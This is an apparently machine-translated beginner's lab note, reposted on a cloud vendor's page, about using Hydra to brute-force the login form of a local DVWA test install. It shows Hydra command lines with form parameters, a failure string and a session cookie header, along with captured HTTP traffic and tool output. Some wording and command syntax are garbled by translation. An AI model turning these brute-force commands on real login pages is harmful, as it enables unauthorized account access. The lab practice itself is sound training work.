Hydra dvwa brute force note

Source: Internet
Author: User
Tags http authentication

I just started learning about Web security, set up a dvwa test environment on a local machine, and started the brute force test.

 

The following is the HTML code displayed in the browser:

<form action="#" method="GET">        Username:<br><input type="text" name="username"><br>Password:<br><input type="password" AUTOCOMPLETE="off" name="password"><br><input type="submit" value="Login" name="Login"></form><pre><br>Username and/or password incorrect.</pre>

Http://hiderefer.com through the link below /? Success,
Because the local environment is Linux, it is natural to choose Hydra (Hydra is the meaning of the 9-headed snake, generally see the English software name, if you do not know his Chinese translation or which word abbreviation, so every time you use it, it will be strange ).

In the first place, we thought that brute-force cracking was very simple. We provided a user name and password (or dictionary) to the automation tool. Then we started to wait for a long time, so we didn't think much about it. We ran the command directly:

Hydra-l admin-P password.txt 127.0.0.1 http-Get "/dvwa/vulnerabilities/brute /"

The output result is as follows:

Hydra v7.5 (c)2013 by van Hauser/THC & David Maciejak - for legal purposes onlyHydra (http://www.thc.org/thc-hydra) starting at 2013-08-13 23:23:55[DATA] 2 tasks, 1 server, 2 login tries (l:1/p:2), ~1 try per task[DATA] attacking service http-get on port 80[80][www] host: 127.0.0.1   login: admin   password: aaaaa[80][www] host: 127.0.0.1   login: admin   password: password1 of 1 target successfully completed, 2 valid passwords foundHydra (http://www.thc.org/thc-hydra) finished at 2013-08-13 23:23:56

The two provided passwords in the password file have been verified, which is obviously incorrect.

The second command:

Hydra-l admin-P password.txt 127.0.0.1 http-get-form "/dvwa/vulnerabilities/brute /"

Running result:

Hydra v7.5 (c)2013 by van Hauser/THC & David Maciejak - for legal purposes onlyHydra (http://www.thc.org/thc-hydra) starting at 2013-08-13 23:26:32[ERROR] the variables argument needs at least the strings ^USER^ or ^PASS^: (null)

This time I reported an error. Forgive me for using the Hydra tool for the first time.

Google searched for the usage of Hydra and related materials. The third command was run:

Hydra-l admin-P password.txt-VV 127.0.0.1 http-get-form "/dvwa/vulnerabilities/brute /: username = ^ user ^ & Password = ^ pass ^ & login = login #: username and/or password incorrect."

The output result is as follows:

Hydra v7.5 (c)2013 by van Hauser/THC & David Maciejak - for legal purposes onlyHydra (http://www.thc.org/thc-hydra) starting at 2013-08-13 23:30:07[WARNING] Restorefile (./hydra.restore) from a previous session found, to prevent overwriting, you have 10 seconds to abort...[DATA] 2 tasks, 1 server, 2 login tries (l:1/p:2), ~1 try per task[DATA] attacking service http-get-form on port 80[VERBOSE] Resolving addresses ... done[ATTEMPT] target 127.0.0.1 - login "admin" - pass "aaaaa" - 1 of 2 [child 0][ATTEMPT] target 127.0.0.1 - login "admin" - pass "password" - 2 of 2 [child 1][VERBOSE] Page redirected to http://127.0.0.1/dvwa/vulnerabilities/brute/../../login.php[VERBOSE] Page redirected to http://127.0.0.1/dvwa/vulnerabilities/brute/../../login.php[80][www-form] host: 127.0.0.1   login: admin   password: password[STATUS] attack finished for 127.0.0.1 (waiting for children to complete tests)[80][www-form] host: 127.0.0.1   login: admin   password: aaaaa1 of 1 target successfully completed, 2 valid passwords foundHydra (http://www.thc.org/thc-hydra) finished at 2013-08-13 23:30:17

Oh, my God, this is the same as the first time.

Then, I started to check whether the letters were misspelled or the last failed statement was wrong. After confirming that everything was correct, I began to doubt the correctness of the tool and began to Google similar problems, the fireforce tool was also used during the trial, and the results were not correct. At this time, I was very frustrated. I was on the verge of a crash... I finally found someone on the backtrack forum, and someone later replied that this was not basicauthentication,
But form-based authentication. Some people say they have to use the burp suite or Wireshark to capture packets and see what the truth is. Well, I have never heard of the term "HTTP Authentication". I 'd like to Google it, or the OWASP article "authentication,
By the way, I added my knowledge about base64 encoding, which I have heard of before.

Because burp suite has not been used, Wireshark is directly selected for packet capture analysis.

After you enter your username and password on the page, Wireshark finds that the cookie is automatically submitted in each Browser:

GET /dvwa/vulnerabilities/brute/?username=admin&password=asdff&Login=Login HTTP/1.1Host: 127.0.0.1User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:22.0) Gecko/20100101 Firefox/22.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateReferer: http://127.0.0.1/dvwa/vulnerabilities/brute/Cookie: security=low; PHPSESSID=o7qiqd9fc1d003u9d38k64t0f4Connection: keep-alive

Then, we captured packets through Wireshark and found that this cookie was set during browser login. Different browsers have different cookies. The default security = high, after the security level is modified, the server will resend the set-cookie to low. This cookie will be submitted every time a form or get operation is submitted, and server verification is not sufficient.

The following figure shows how to log on to dvwa again using Google's browser and the server's response information:

HTTP/1.1 302 FoundDate: Tue, 13 Aug 2013 15:55:30 GMTServer: Apache/2.4.3 (Unix) OpenSSL/1.0.1c PHP/5.4.7X-Powered-By: PHP/5.4.7Set-Cookie: PHPSESSID=uku6iitcv0hhhd9mvna69sl9v7; path=/Expires: Thu, 19 Nov 1981 08:52:00 GMTCache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0Pragma: no-cacheSet-Cookie: security=highLocation: ../../login.phpContent-Length: 0Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: text/html

After successfully logging on to the Apsara stack console and submitting the security level to low, we can see that the cookie changes as follows:

POST /dvwa/security.php HTTP/1.1Host: 127.0.0.1Connection: keep-aliveContent-Length: 33Cache-Control: max-age=0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Origin: http://127.0.0.1User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1500.95 Safari/537.36Content-Type: application/x-www-form-urlencodedReferer: http://127.0.0.1/dvwa/security.phpAccept-Encoding: gzip,deflate,sdchAccept-Language: en-US,en;q=0.8Cookie: security=high; PHPSESSID=uku6iitcv0hhhd9mvna69sl9v7security=low&seclev_submit=SubmitHTTP/1.1 302 FoundDate: Tue, 13 Aug 2013 15:57:03 GMTServer: Apache/2.4.3 (Unix) OpenSSL/1.0.1c PHP/5.4.7X-Powered-By: PHP/5.4.7Expires: Thu, 19 Nov 1981 08:52:00 GMTCache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0Pragma: no-cacheSet-Cookie: security=lowLocation: /dvwa/security.phpContent-Length: 0Keep-Alive: timeout=5, max=98Connection: Keep-AliveContent-Type: text/htmlGET /dvwa/security.php HTTP/1.1Host: 127.0.0.1Connection: keep-aliveCache-Control: max-age=0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1500.95 Safari/537.36Referer: http://127.0.0.1/dvwa/security.phpAccept-Encoding: gzip,deflate,sdchAccept-Language: en-US,en;q=0.8Cookie: security=low; PHPSESSID=uku6iitcv0hhhd9mvna69sl9v7

We can see that the cookie has changed.

OK. Next we will continue to perform the Hydra command operation. The Nth running command is the Firefox browser used:

Hydra-l admin-P password.txt 127.0.0.1 http-get-form "/dvwa/vulnerabilities/brute/: username = ^ user ^ & Password = ^ pass ^ & login = login #: username and/or password incorrect.: H = COOKIE: Security = low; PHPSESSID = o7qiqd9fc1d003u9d38k64t0f4"

The output is as follows:

Hydra v7.5 (c)2013 by van Hauser/THC & David Maciejak - for legal purposes onlyHydra (http://www.thc.org/thc-hydra) starting at 2013-08-14 00:13:37[DATA] 2 tasks, 1 server, 2 login tries (l:1/p:2), ~1 try per task[DATA] attacking service http-get-form on port 80[80][www-form] host: 127.0.0.1   login: admin   password: password1 of 1 target successfully completed, 1 valid password foundHydra (http://www.thc.org/thc-hydra) finished at 2013-08-14 00:13:37

The running result is correct. After a sigh of relief, I got confused. By running HYDRA-H or man Hydra, I didn't say "h". On the internet, Google saw a lot of C options, how to use this tool? When to use C? When to use H? No one has found out how to use it after Google, but there is no way to view the source code. Fortunately, I prefer C language.

Later, after Wireshark packet capture analysis and comparative source code analysis, we found that C specifies the path of the cookie file, which is the path on the server, that is to say, if the file storing the cookie on the server is/path/cookie, you can use: c =/path/cookie to specify that Hydra obtains the cookie from the server, then it is automatically added to the HTTP header of each get or POST request. If a special file without a cookie such as dvwa or we do not know the cookie storage file, we will use: h.

If: c =/path/cookie is specified, the get/path/cookie will be used to obtain the cookie before Hydra is submitted each time, and then the information returned by response will be analyzed each time, the cookie is automatically added to the HTTP header.

: H is actually used to manually add header fields. For example, we manually added: H = COOKIE: Security = low; PHPSESSID = o7qiqd9fc1d003u9d38k64t0f4, this actually tells Hydra to add the domain of the header after H to each get or POST request.

By reading the source code, we can see that if HYDRA captures the set-cookie in response, we do not need to manually add the cookie each time.

So far, we have basically figured out how to use Hydra to perform the HTTP brute force test. We will continue to try the brute force aesthetic cracking of Hydra in other protocols.

Every day, a progressive life is worth looking forward!

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.